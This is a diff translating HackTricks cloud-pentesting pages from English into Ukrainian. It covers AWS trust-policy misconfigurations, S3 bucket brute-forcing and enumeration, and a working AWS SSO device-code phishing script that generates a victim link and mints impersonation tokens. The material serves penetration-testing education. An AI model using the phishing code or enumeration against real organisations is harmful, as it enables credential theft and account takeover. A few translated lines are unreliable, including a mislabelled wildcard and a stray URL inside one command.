+"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` +Атакуючий міг би просто припустити це. -The attacker could just assume it. - -## Third Party OIDC Federation - -Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\ -This trust might give access to a role with the following **trust policy**: +## Федерація OIDC третьої сторони +Уявіть, що вам вдалося прочитати **Github Actions workflow**, який отримує доступ до **ролі** всередині **AWS**.\ +Ця довіра може надати доступ до ролі з наступною **політикою довіри**: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Ця політика довіри може бути правильною, але **відсутність більше умов** повинна викликати у вас недовіру.\ +Це пов'язано з тим, що попередню роль може бути прийнято **КОЖНИМ з Github Actions**! Ви повинні вказати в умовах також інші речі, такі як назва організації, назва репозиторію, середовище, гілка... -This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\ -This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach... - -Another potential misconfiguration is to **add a condition** like the following: - +Ще однією потенційною помилкою конфігурації є **додавання умови** на зразок наступної: ```json "StringLike": { - "token.actions.githubusercontent.com:sub": "repo:org_name*:*" +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` - -Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action. +Зверніть увагу на **долар** (\*) перед **двоеточієм** (:). Ви можете створити організацію, таку як **org_name1**, і **прийняти роль** з Github Action. ## References @@ -174,7 +160,3 @@ Note that **wildcard** (\*) before the **colon** (:). You can create an org such - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index fd4d31de6..ec7ba039c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -4,33 +4,30 @@ ## AWS Device Code Phishing -Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. +Спочатку запропоновано в [**цьому блозі**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), можливо надіслати **посилання** користувачу, використовуючи AWS SSO, яке, якщо **користувач прийме**, дозволить зловмиснику отримати **токен для видавання себе за користувача** та отримати доступ до всіх ролей, до яких користувач має доступ у **Identity Center**. -In order to perform this attack the requisites are: +Для виконання цієї атаки необхідні такі умови: -- The victim needs to use **Identity Center** -- The attacker must know the **subdomain** used by the victim `.awsapps.com/start` +- Жертва повинна використовувати **Identity Center** +- Зловмисник повинен знати **субдомен**, який використовує жертва `.awsapps.com/start` -Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. +Лише з цією інформацією **зловмисник зможе надіслати посилання користувачу**, яке, якщо **прийняте**, надасть **зловмиснику доступ до облікового запису AWS** користувача. ### Attack 1. **Finding the subdomain** -The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. - -With this info, it's possible to get the region where the Indentity Center was configured with: +Перший крок зловмисника - дізнатися, який субдомен використовує компанія жертви у своєму Identity Center. Це можна зробити за допомогою **OSINT** або **вгадування + BF**, оскільки більшість компаній використовуватимуть свою назву або варіацію своєї назви тут. +З цією інформацією можливо отримати регіон, в якому було налаштовано Identity Center: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` +2. **Згенеруйте посилання для жертви та надішліть його** -2. **Generate the link for the victim & Send it** - -Run the following code to generate an AWS SSO login link so the victim can authenticate.\ -For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: - +Запустіть наступний код, щоб згенерувати посилання для входу в AWS SSO, щоб жертва могла аутентифікуватися.\ +Для демонстрації запустіть цей код у консолі Python і не виходьте з неї, оскільки пізніше вам знадобляться деякі об'єкти для отримання токена: ```python import boto3 @@ -39,89 +36,84 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS sso_oidc = boto3.client('sso-oidc', region_name=REGION) client = sso_oidc.register_client( - clientName = 'attacker', - clientType = 'public' +clientName = 'attacker', +clientType = 'public' ) client_id = client.get('clientId') client_secret = client.get('clientSecret') authz = sso_oidc.start_device_authorization( - clientId=client_id, - clientSecret=client_secret, - startUrl=AWS_SSO_START_URL +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL ) url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` +Надішліть згенероване посилання жертві, використовуючи свої чудові навички соціальної інженерії! -Send the generated link to the victim using you awesome social engineering skills! +3. **Чекайте, поки жертва його прийме** -3. **Wait until the victim accepts it** - -If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\ -This is how the promp looks nowadays: +Якщо жертва **вже увійшла в AWS**, їй просто потрібно буде прийняти надання дозволів, якщо ні, їй потрібно буде **увійти в систему, а потім прийняти надання дозволів**.\ +Ось як виглядає запит сьогодні:
-4. **Get SSO access token** - -If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: +4. **Отримати токен доступу SSO** +Якщо жертва прийняла запит, запустіть цей код, щоб **згенерувати токен SSO, видаючи себе за користувача**: ```python token_response = sso_oidc.create_token( - clientId=client_id, - clientSecret=client_secret, - grantType="urn:ietf:params:oauth:grant-type:device_code", - deviceCode=deviceCode +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` +Токен доступу SSO є **дійсним протягом 8 годин**. -The SSO access token is **valid for 8h**. - -5. **Impersonate the user** - +5. **Видати себе за користувача** ```python sso_client = boto3.client('sso', region_name=REGION) # List accounts where the user has access aws_accounts_response = sso_client.list_accounts( - accessToken=sso_token, - maxResults=100 +accessToken=sso_token, +maxResults=100 ) aws_accounts_response.get('accountList', []) # Get roles inside an account roles_response = sso_client.list_account_roles( - accessToken=sso_token, - accountId= +accessToken=sso_token, +accountId= ) roles_response.get('roleList', []) # Get credentials over a role sts_creds = sso_client.get_role_credentials( - accessToken=sso_token, - roleName=, - accountId= +accessToken=sso_token, +roleName=, +accountId= ) sts_creds.get('roleCredentials') ``` +### Фішинг непіддатливого MFA -### Phishing the unphisable MFA +Цікаво знати, що попередня атака **працює навіть якщо використовується "непіддатливе MFA" (webAuth)**. Це тому, що попередній **робочий процес ніколи не залишає використаний домен OAuth**. На відміну від інших атак фішингу, де користувачеві потрібно підмінити домен входу, у випадку, коли робочий процес коду пристрою підготовлений так, що **код відомий пристрою**, і користувач може увійти навіть на іншій машині. Якщо підтвердити запит, пристрій, просто **знаючи початковий код**, зможе **отримати облікові дані** для користувача. -It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. +Для отримання додаткової інформації [**перегляньте цей пост**](https://mjg59.dreamwidth.org/62175.html). -For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). - -### Automatic Tools +### Автоматичні інструменти - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) -## References +## Посилання - [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) - [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) @@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217 - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index 38622c338..8a249bba6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Шаблон публічного URL ``` mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 58b8a1309..511acbad0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Шаблон публічного URL ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 5109a2044..6135b221e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -2,25 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} -## Public Function URL +## Публічний URL функції -It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities. - -### Public URL template +Можливо пов'язати **Lambda** з **публічним URL функції**, до якого може отримати доступ будь-хто. Він може містити веб-вразливості. +### Шаблон публічного URL ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` +### Отримання ID облікового запису з публічного URL Lambda -### Get Account ID from public Lambda URL +Так само, як і з S3-бакетами, Data Exchange та API-шлюзами, можливо знайти ID облікового запису, зловживаючи **`aws:ResourceAccount`** **Policy Condition Key** з публічного URL Lambda. Це робиться шляхом знаходження ID облікового запису по одному символу, зловживаючи підстановочними знаками в секції **`aws:ResourceAccount`** політики.\ +Ця техніка також дозволяє отримувати **значення тегів**, якщо ви знаєте ключ тегу (є кілька стандартних цікавих). -Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Ви можете знайти більше інформації в [**оригінальному дослідженні**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) та інструменті [**conditional-love**](https://github.com/plerionhq/conditional-love/) для автоматизації цього експлуатації. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index 2bbc4fdd6..61212d2b8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Шаблон публічного URL ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index ab06211e2..2fa81ecd4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -6,21 +6,15 @@ ### **RabbitMQ** -In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-.mq.us-east-1.amazonaws.com/` +У випадку з **RabbitMQ**, за **замовчуванням публічний доступ** та ssl увімкнені. Але вам потрібні **облікові дані** для доступу (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Більше того, можливо **отримати доступ до веб-консолі управління**, якщо ви знаєте облікові дані в `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ -In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access. +У випадку з **ActiveMQ**, за замовчуванням публічний доступ та ssl увімкнені, але вам потрібні облікові дані для доступу. ### Public URL template - ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 9bbbd408d..c581e9774 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -2,21 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public Port +### Публічний порт -It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured). +Можливо **вивести брокер Kafka на публіку**, але вам знадобляться **облікові дані**, дозволи IAM або дійсний сертифікат (залежно від налаштованого методу автентифікації). -It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet. - -### Public URL template +Також **можливо вимкнути автентифікацію**, але в цьому випадку **неможливо безпосередньо вивести** порт в Інтернет. +### Шаблон публічного URL ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 218300e3f..2a56e9feb 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -4,20 +4,19 @@ ## RDS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Public Port +## Публічний порт -It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database. +Можливо надати публічний доступ до **бази даних з інтернету**. Зловмисник все ще повинен **знати ім'я користувача та пароль,** доступ IAM або **експлойт**, щоб увійти в базу даних. -## Public RDS Snapshots - -AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account: +## Публічні знімки RDS +AWS дозволяє надавати **доступ будь-кому для завантаження знімків RDS**. Ви можете дуже легко перерахувати ці публічні знімки RDS зі свого облікового запису: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -33,16 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account ``` - -### Public URL template - +### Шаблон публічного URL ``` mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index ab1577a1e..a526f83d8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Шаблон публічного URL ``` {user_provided}...redshift.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 28c7b1673..5e843cd84 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -2,42 +2,42 @@ {{#include ../../../banners/hacktricks-training.md}} -## S3 Public Buckets +## S3 Публічні Бакети -A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. +Бакет вважається **“публічним”**, якщо **будь-який користувач може переглядати вміст** бакета, і **“приватним”**, якщо вміст бакета може **переглядатися або записуватися лише певними користувачами**. -Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). +Компанії можуть мати **неправильно налаштовані дозволи бакетів**, що надає доступ або до всього, або до всіх, хто автентифікований в AWS в будь-якому обліковому записі (тобто до будь-кого). Зверніть увагу, що навіть з такими неправильними налаштуваннями деякі дії можуть не бути виконані, оскільки бакети можуть мати свої власні списки контролю доступу (ACL). -**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) +**Дізнайтеся про неправильні налаштування AWS-S3 тут:** [**http://flaws.cloud**](http://flaws.cloud/) **і** [**http://flaws2.cloud/**](http://flaws2.cloud) -### Finding AWS Buckets +### Пошук AWS Бакетів -Different methods to find when a webpage is using AWS to storage some resources: +Різні методи для виявлення, коли веб-сторінка використовує AWS для зберігання деяких ресурсів: -#### Enumeration & OSINT: +#### Перерахування та OSINT: -- Using **wappalyzer** browser plugin -- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. -- **Check for resources** in domains like: +- Використання плагіна браузера **wappalyzer** +- Використання burp (**спайдеринг** вебу) або вручну навігація по сторінці, всі **ресурси**, **завантажені** будуть збережені в Історії. +- **Перевірте ресурси** в доменах, таких як: - ``` - http://s3.amazonaws.com/[bucket_name]/ - http://[bucket_name].s3.amazonaws.com/ - ``` +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` -- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` -- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. -- The **bucket name** and the **bucket domain name** needs to be **the same.** - - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. - - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- Перевірте **CNAMES**, оскільки `resources.domain.com` може мати CNAME `bucket.s3.amazonaws.com` +- Перевірте [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), веб-сайт з вже **виявленими відкритими бакетами**. +- **Ім'я бакета** та **доменне ім'я бакета** повинні бути **однаковими.** +- **flaws.cloud** знаходиться в **IP** 52.92.181.107, і якщо ви туди перейдете, вас перенаправить на [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Також, `dig -x 52.92.181.107` дає `s3-website-us-west-2.amazonaws.com`. +- Щоб перевірити, чи це бакет, ви також можете **відвідати** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). -#### Brute-Force +#### Брутфорс -You can find buckets by **brute-forcing name**s related to the company you are pentesting: +Ви можете знайти бакети, **брутфорсуючи імена**, пов'язані з компанією, яку ви тестуєте: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (містить список потенційних імен бакетів) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -45,48 +45,47 @@ You can find buckets by **brute-forcing name**s related to the company you are p - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) -
# Generate a wordlist to create permutations
+
# Генерація списку слів для створення перестановок
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
 
-# Generate a wordlist based on the domains and subdomains to test
-## Write those domains and subdomains in subdomains.txt
+# Генерація списку слів на основі доменів та піддоменів для тестування
+## Запишіть ці домени та піддомени в subdomains.txt
 cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# Create permutations based in a list with the domains and subdomains to attack
+# Створення перестановок на основі списку з доменами та піддоменами для атаки
 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## The previous tool is specialized increating permutations for subdomains, lets filter that list
-### Remove lines ending with "."
+## Попередній інструмент спеціалізується на створенні перестановок для піддоменів, давайте відфільтруємо цей список
+### Видалити рядки, що закінчуються на "."
 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Create list without TLD
+### Створити список без TLD
 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Create list without dots
+### Створити список без крапок
 cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Create list without hyphens
+### Створити список без дефісів
 cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
 
-## Generate the final wordlist
+## Генерація фінального списку слів
 cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
 
-## Call s3scanner
+## Виклик s3scanner
 s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
 
-#### Loot S3 Buckets +#### Лут S3 Бакети -Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. +Даючи відкриті S3 бакети, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) може автоматично **шукати цікаву інформацію**. -### Find the Region +### Знайти Регіон -You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) +Ви можете знайти всі підтримувані регіони AWS на [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) -#### By DNS - -You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: +#### За DNS +Ви можете отримати регіон бакета за допомогою **`dig`** та **`nslookup`**, зробивши **DNS запит виявленої IP**: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -96,31 +95,29 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` +Перевірте, що в розв'язаному домені є слово "website".\ +Ви можете отримати доступ до статичного веб-сайту, перейшовши за адресою: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +або ви можете отримати доступ до бакету, відвідавши: `flaws.cloud.s3-us-west-2.amazonaws.com` -Check that the resolved domain have the word "website".\ -You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` +#### Спробувавши -#### By Trying - -If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**: +Якщо ви намагаєтеся отримати доступ до бакету, але в **імені домену вказуєте інший регіон** (наприклад, бакет знаходиться в `bucket.s3.amazonaws.com`, але ви намагаєтеся отримати доступ до `bucket.s3-website-us-west-2.amazonaws.com`, тоді вам буде **вказано на правильне місце**: ![](<../../../images/image (106).png>) -### Enumerating the bucket +### Перерахування бакету -To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored. +Щоб перевірити відкритість бакету, користувач може просто ввести URL у своєму веб-браузері. Приватний бакет відповість "Access Denied". Публічний бакет перераховує перші 1,000 об'єктів, які були збережені. -Open to everyone: +Відкрито для всіх: ![](<../../../images/image (201).png>) -Private: +Приватний: ![](<../../../images/image (83).png>) -You can also check this with the cli: - +Ви також можете перевірити це за допомогою cli: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -128,22 +125,18 @@ You can also check this with the cli: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` +Якщо у бакета немає доменного імені, при спробі його перерахувати, **вкажіть лише ім'я бакета** і не вводьте ціле доменне ім'я AWSs3. Приклад: `s3://` -If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://` - -### Public URL template - +### Шаблон публічного URL ``` https://{user_provided}.s3.amazonaws.com ``` +### Отримання ID облікового запису з публічного бакету -### Get Account ID from public Bucket - -It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\ -And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**. - -This tool automates the process: +Можливо визначити обліковий запис AWS, скориставшись новим **`S3:ResourceAccount`** **ключем умови політики**. Ця умова **обмежує доступ на основі S3 бакету**, в якому знаходиться обліковий запис (інші політики, що базуються на облікових записах, обмежують доступ на основі облікового запису, в якому знаходиться запитуючий суб'єкт).\ +І оскільки політика може містити **шаблони**, можливо знайти номер облікового запису 